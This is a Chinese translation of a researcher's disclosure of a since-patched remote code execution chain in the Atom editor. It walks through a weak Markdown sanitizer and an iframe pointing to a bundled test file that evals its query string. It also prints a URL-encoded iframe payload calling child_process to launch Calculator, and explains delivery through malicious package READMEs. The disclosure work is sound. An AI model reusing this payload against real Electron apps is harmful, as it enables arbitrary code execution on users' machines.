t01b7ee8bb950de481d.jpg

 


写在前面的话


近期,我对GitHub所使用的文本编辑器-Atom进行了分析,并成功地在Atom中找到了多个安全漏洞。通过研究之后,我成功地利用这些漏洞实现了远程代码执行。

当我将漏洞信息通过HackerOne上报给Atom的开发团队之后,这些漏洞已经在2017年10月12日发布的Atom v1.21.1中得到了修复。如果你想复现漏洞的话,可以参考GitHub上发布的旧版本代码【传送门】。


Web安全问题影响了桌面端App


Atom是基于Electron开发的,而Electron是一款用于开发桌面应用的跨平台框架,该框架使用的语言是JavaScriptHTMLCSS

但是,这种框架也将某些常见的Web端安全问题带到了桌面端应用的身上,我们这里所指的安全问题就是跨站脚本漏洞(XSS)。由于整个应用程序的逻辑是基于JavaScript实现的,而一个跨站脚本漏洞就有可能导致攻击者实现任意代码执行。毕竟对于一款基于JavaScript实现的应用来说,攻击者能做到的跟开发者所能做的其实是差不多的。

当然了,我们也有很多方法来缓解Electron中的跨站脚本漏洞所带来的影响,但如果这些安全解决方案部署不当的话,它们还是有可能会被攻击者轻松绕过的。


使用内容安全策略缓解XSS


在开始分析漏洞之前,我们先来看一看GitHub是如何缓解Atom中的XSS问题的。没错,GitHub使用的就是内容安全策略(CSP)。如果你分析过Atomindex.html文件的代码的话,你将会看到如下所示的部署策略:

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
   <head>
      <meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;">
      <script src="index.js"></script>
   </head>
   <body tabindex="-1"></body>
</html>

注意上述代码中的script-src 'self' 'unsafe-eval',即它允许同源的JavaScript以及使用eval()构建的代码运行,但是禁止任何内联JavaScript运行。

简而言之,在下面给出的样例中,只有“index.js”中的JavaScript代码可以被执行,而alert(1)无法执行,因为它属于内联JavaScript:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
   <head>
      <meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;">
   </head>
   <!-- Following line will be executed since it is JS embedded from the same origin -->
   <script src="index.js"></script>
   <!-- Following line will not be executed since it is inline JavaScript -->
   <script>alert(1)</script>
</html>

Atom如何解析Markdown文件?


在面对某些包含解析器或者预览功能的软件时,多花一些时间去研究相关组件往往会给我们带来意想不到的收获。在绝大多数场景中,软件的解析库一般都是使用某些第三方组件实现的,而且在实现这些组件的时候或多或少都会存在不同的安全问题。而组件的开发者跟使用者所想的也有可能不一样,比如说,开发者会假设提供给代码库的肯定是受信数据,而使用者可能会认为代码库会对不安全的数据进行过滤处理,这样也就导致了安全漏洞的产生。

所以,我首先要做的就是对Atom解析Markdown文件的过程进行分析,跟该组件相关的代码可以在GitHub的atom/markdown-preview找到。很快我便发现,Markdown解析器似乎还可以解析任意HTML文档:

t012646d8a42efff6c8.png

接下来,我尝试注入了一段简单的JavaScript代码来判断Markdown代码库是否会过滤掉JavaScript代码。虽然内容安全策略在这里可以防止代码运行,但我这里只是想确认代码库是否实现了最基本的数据过滤(清洗)功能。事实证明,这里真的有...请大家看下面这张截图,其中的script语句没有显示在DOM之中:

t0109b79b57d5ee43a3.png

在进行了简单的信息搜索之后,我发现“GitHub能够解析任意HTML文档”的这种功能实际上是他们故意这样设计的。因此,Markdown代码库才引入了这种数据清洗模式(一种自定义的数据过滤功能):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
sanitize = (html) ->
           o = cheerio.load(html)
           o('script').remove()
           attributesToRemove = [
             'onabort'
             'onblur'
             'onchange'
             'onclick'
             'ondbclick'
             'onerror'
             'onfocus'
             'onkeydown'
             'onkeypress'
             'onkeyup'
             'onload'
             'onmousedown'
             'onmousemove'
             'onmouseover'
             'onmouseout'
             'onmouseup'
             'onreset'
             'onresize'
             'onscroll'
             'onselect'
             'onsubmit'
             'onunload'
           ]
           o('*').removeAttr(attribute) for attribute in attributesToRemove
           o.html()

虽然这种数据过滤功能的保护性非常的弱,但我们不能使用on-listener(例如onClickListener)来绕过它,因为它可能会触发内容安全策略,这将导致恶意Payload无法被执行。

但是,我们可以注入其他类型的HTML Payload,我们先认真看一看之前那张屏幕截图:

t019922edc7214ba3e6.png

很明显,Atom是以协议file://执行的,那如果我们创建一个恶意HTML文件并将其嵌入在本地文件之中呢?如果可以的话,该文件将会被视作是Electron的本地文件所提供的(符合同源策略),因此我们的JavaScript代码将会被执行。

所以我在主文件夹中创建了一个名叫hacked.html的文件,文件内容如下所示:

1
2
3
<script>
    alert(1);
</script>

接下来,我只需要在Markdown文档中使用一个iframe标签即可成功触发JavaScript代码:

t0196e56742dd58655a.png


配合本地DOM XSS


但是我现在还无法执行任意JavaScript代码,因为还有一个问题没解决:即漏洞的利用需要大量的用户交互:

1.       用户需要主动打开恶意的Markdown文档;

2.       用户需要打开Markdown文档的预览窗口;

3.       恶意Markdown文档还需要另一个包含恶意JavaScript代码的本地HTML文件存在;

而在真实的场景中,上述条件就显得有些牵强了。但是,如果我们能找到某个本地文件中存在DOM XSS漏洞的话,不就可以了吗?而这种情况更加适用于真实场景下的漏洞利用过程。

所以,我打算对Atom所绑定的HTML文件进行分析。幸运的是,在macOS系统中,应用程序本身就是一堆代码和文件。所以我们可以直接在/Applications/Atom.app/Contents目录中访问Atom bundle:

t011bf2e905b0abf62b.png

快速搜索bundle中的HTML文件后,我们得到了以下相关文件:

1
2
3
4
5
6
7
8
9
➜  Contents find . -iname "*.html"
./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/index.html
./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/index.html
./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/mute.js.html
./Resources/app/apm/node_modules/clone/test-apart-ctx.html
./Resources/app/apm/node_modules/clone/test.html
./Resources/app/apm/node_modules/colors/example.html
./Resources/app/apm/node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn/example.html
./Resources/app/apm/node_modules/jsbn/example.html

现在,你就可以使用静态分析技术来分析这些HTML文件了,不过你也可以进行手动分析。由于工作量不大,所以我选择进行手动分析,而文件/Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html看起来似乎很有意思:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
  <head>
    <meta charset="utf-8">
    <title>Clone Test-Suite (Browser)</title>
  </head>
  <body>
    <script>
      var data = document.location.search.substr(1).split('&');
      try {
        ctx = parent[data[0]];
        eval(decodeURIComponent(data[1]));
        window.results = results;
      } catch(e) {
        var extra = '';
        if (e.name == 'SecurityError')
          extra = 'This test suite needs to be run on an http server.';
        alert('Apart Context iFrame Error\n' + e + '\n\n' + extra);
        throw e;
      }
    </script>
  </body>
</html>

在document.location.search调用了eval(),而Atom的内容安全策略允许使用eval语句,因此我们只需要使用类似下面的这种语句就能够触发一个对话弹窗:

1
file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)

实际上,我们只需要下面这种Markdown文档就能够执行任意JavaScript代码了:

1
<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)"></iframe>

t01cf164fe4a5896167.png


执行任意本地代码


正如我们之前所提到的,在一个Electron应用中执行恶意JavaScript代码也就意味着实现本地代码执行。在我们的分析场景中,最简单的实现方法就是访问window.top对象,然后使用NodeJSrequire函数来访问child_process模块。下面给出的JavaScript代码将能够打开macOS的计算器程序:

1
2
3
<script type="text/javascript">
window.top.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){});
</script>

刚才的漏洞利用代码经过URL编码后,形式如下:

1


<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&%77

%69%6e%64%6f%77%2e%74%6f%70%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65

%63%46%69%6c%65%28%27%2f%41%70%70%6c%69%63%61%74%69%6f%6e%73%2f%43%61%6c%63%75%6c%61%74%6f%72%2e%61%70%70%2f%43%6f%

6e%74%65%6e%74%73%2f%4d%61%63%4f%53%2f%43%61%6c%63%75%6c%61%74%6f%72%27%2c%66%75%6e%63%74%69%6f%6e%28%29%7b%7d%29%3b%0a"></iframe>


打开恶意Markdown文档之后,Calculator.app将会运行:

t01ba0ef71cdab9a315.png


远程实现所有操作


虽然我们刚才介绍的方法可以让Atom中的这些安全问题更加容易被攻击者所利用,但是它仍然需要目标用户手动打开攻击者所提供的恶意Markdown文档。不过需要注意的是,Atom能够呈现Markdown文档内容的地方可不止这一个。

通过使用grep搜索了Atom的源代码之后,我们发现其实还有一个模块能够解析Markdown文件,即Atom设置:atom/settings-view。实际上,这个模块所采用的数据清洗方法也同样存在安全问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
const ATTRIBUTES_TO_REMOVE = [
  'onabort',
  'onblur',
  'onchange',
  'onclick',
  'ondbclick',
  'onerror',
  'onfocus',
  'onkeydown',
  'onkeypress',
  'onkeyup',
  'onload',
  'onmousedown',
  'onmousemove',
  'onmouseover',
  'onmouseout',
  'onmouseup',
  'onreset',
  'onresize',
  'onscroll',
  'onselect',
  'onsubmit',
  'onunload'
]
  
function sanitize (html) {
  const temporaryContainer = document.createElement('div')
  temporaryContainer.innerHTML = html
  
  for (const script of temporaryContainer.querySelectorAll('script')) {
    script.remove()
  }
  
  for (const element of temporaryContainer.querySelectorAll('*')) {
    for (const attribute of ATTRIBUTES_TO_REMOVE) {
      element.removeAttribute(attribute)
    }
  }
  
  for (const checkbox of temporaryContainer.querySelectorAll('input[type="checkbox"]')) {
    checkbox.setAttribute('disabled', true)
  }
  
  return temporaryContainer.innerHTML
}

实际上,Markdown的解析器同样会受到这些安全问题的影响,而且受影响程度也比较严重。

Atom还支持所谓的第三方“Packages”(包),这些代码包基本上都是社区提供的,可以从atom.io/packages获取。而这些包能够以Markdown格式定义README文档,而文档的内容将会在Atom设置窗口中呈现给用户。

因此,恶意攻击者只需要注册一大堆恶意包(包名可以跟现有的第三方包名类似),只要目标用户点击了这个包名(无需进行安装),那么嵌入在README文档中的恶意代码就能够被触发并执行。

t0175719f7e14457721.png


GitHub如何修复这个问题?


我们在跟GitHub的开发人员进行了一系列探讨之后,最终得出了以下的漏洞修复策略:

1.       从bundle中删除一些不必要的HTML文件。

2.       使用DOMPurify来对Markdown文档的内容进行数据过滤。

虽然这种解决方案并不算十分完美,但是对于目前来讲也已经足够有效了。与此同时,GitHub也准备使用一种更加严格的Markdown解析器,但是这很有可能会影响很多现存用户的工作流程



本文由 安全客 翻译,作者:WisFree

原文链接:https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom/